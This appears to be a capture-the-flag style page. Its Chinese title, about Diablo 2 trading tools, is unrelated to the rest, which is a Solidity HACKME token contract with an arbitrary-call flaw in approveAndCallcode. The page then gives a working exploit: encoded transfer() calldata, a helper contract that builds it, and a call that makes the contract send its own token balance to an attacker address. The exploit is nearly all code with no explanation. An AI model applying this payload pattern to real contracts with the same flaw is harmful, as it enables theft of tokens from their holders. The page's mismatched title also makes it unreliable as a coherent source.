暗藏危机的成语（暗黑破坏神2交易的工具任务）

<address>.call(方法选择器, arg1, arg2, …) <address>.call(bytes)

pragma solidity ^0.4.26;
contract Token {    /* This is a slight change to the ERC20 base standard.    function totalSupply() constant returns (uint256 supply);    is replaced with:    uint256 public totalSupply;    This automatically creates a getter function for the totalSupply.    This is moved to the base contract since public getter functions are not    currently recognised as an implementation of the matching abstract    function by the compiler.    */    /// total amount of tokens    uint256 public totalSupply;
    /// @param _owner The address from which the balance will be retrieved    /// @return The balance    function balanceOf(address _owner) constant returns (uint256 balance);
    /// @notice send `_value` token to `_to` from `msg.sender`    /// @param _to The address of the recipient    /// @param _value The amount of token to be transferred    /// @return Whether the transfer was successful or not    function transfer(address _to, uint256 _value) returns (bool success);
    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`    /// @param _from The address of the sender    /// @param _to The address of the recipient    /// @param _value The amount of token to be transferred    /// @return Whether the transfer was successful or not    function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
    /// @notice `msg.sender` approves `_spender` to spend `_value` tokens    /// @param _spender The address of the account able to transfer the tokens    /// @param _value The amount of tokens to be approved for transfer    /// @return Whether the approval was successful or not    function approve(address _spender, uint256 _value) returns (bool success);
    /// @param _owner The address of the account owning tokens    /// @param _spender The address of the account able to transfer the tokens    /// @return Amount of remaining tokens allowed to spent    function allowance(address _owner, address _spender) constant returns (uint256 remaining);
    event Transfer(address indexed _from, address indexed _to, uint256 _value);    event Approval(address indexed _owner, address indexed _spender, uint256 _value);}

contract StandardToken is Token {
    function transfer(address _to, uint256 _value) returns (bool success) {        require(_to != address(0));        require(_value <= balances[msg.sender]);        //Default assumes totalSupply can\\\'t be over max (2^256 - 1).        //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn\\\'t wrap.        //Replace the if with this one instead.        require(balances[_to] + _value > balances[_to]);        balances[msg.sender] -= _value;        balances[_to] += _value;        Transfer(msg.sender, _to, _value);        return true;    }
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {        require(_to != address(0));        require(_value <= balances[_from]);        require(_value <= allowed[_from][msg.sender]);        //same as above. Replace this line with the following if you want to protect against wrapping uints.        require(balances[_to] + _value > balances[_to]);        balances[_to] += _value;        balances[_from] -= _value;        allowed[_from][msg.sender] -= _value;        Transfer(_from, _to, _value);        return true;    }
    function balanceOf(address _owner) constant returns (uint256 balance) {        return balances[_owner];    }
    function approve(address _spender, uint256 _value) returns (bool success) {        allowed[msg.sender][_spender] = _value;        Approval(msg.sender, _spender, _value);        return true;    }
    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {        return allowed[_owner][_spender];    }
    mapping (address => uint256) balances;    mapping (address => mapping (address => uint256)) allowed;}
contract HACKME is StandardToken {
    function () {        //if ether is sent to this address, send it back.        revert();    }
    string public name = \\\"HACKME\\\";                   //fancy name: eg Simon Bucks    uint8 public decimals = 18;                //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It\\\'s like comparing 1 wei to 1 ether.    string public symbol = \\\"HACKME\\\";                 //An identifier: eg SBX    string public version = \\\'v0.1\\\';       //stb 0.1 standard. Just an arbitrary versioning scheme.
    address public founder; // The address of the founder
    function HACKME() {        founder = msg.sender;        totalSupply = 20180000 * 10 ** uint256(decimals);        balances[founder] = totalSupply / 2;        balances[this] = totalSupply / 2;    }
    /* Approves and then calls the receiving contract */    function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {        allowed[msg.sender][_spender] = _value;        Approval(msg.sender, _spender, _value);
        //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn\\\'t have to include a contract in here just for this.        //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)        //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.        if(!_spender.call(bytes4(bytes32(sha3(\\\"receiveApproval(address,uint256,address,bytes)\\\"))), msg.sender, _value, this, _extraData)) { revert(); }        return true;    }
    /* Approves and then calls the contract code*/    function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) returns (bool success) {        allowed[msg.sender][_spender] = _value;        Approval(msg.sender, _spender, _value);
        //Call the contract code        if(!_spender.call(_extraData)) { revert(); }        return true;    }}

0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000

pragma solidity ^0.4.26;
contract testABI {    function abiEncode() public view returns (bytes memory) {       return abi.encodeWithSignature(\\\"transfer(address,uint256)\\\",0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000);    }}

approveAndCallcode(    0xf8e81D47203A594245E36C48e151709F0C19fBe8,    0,0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000    )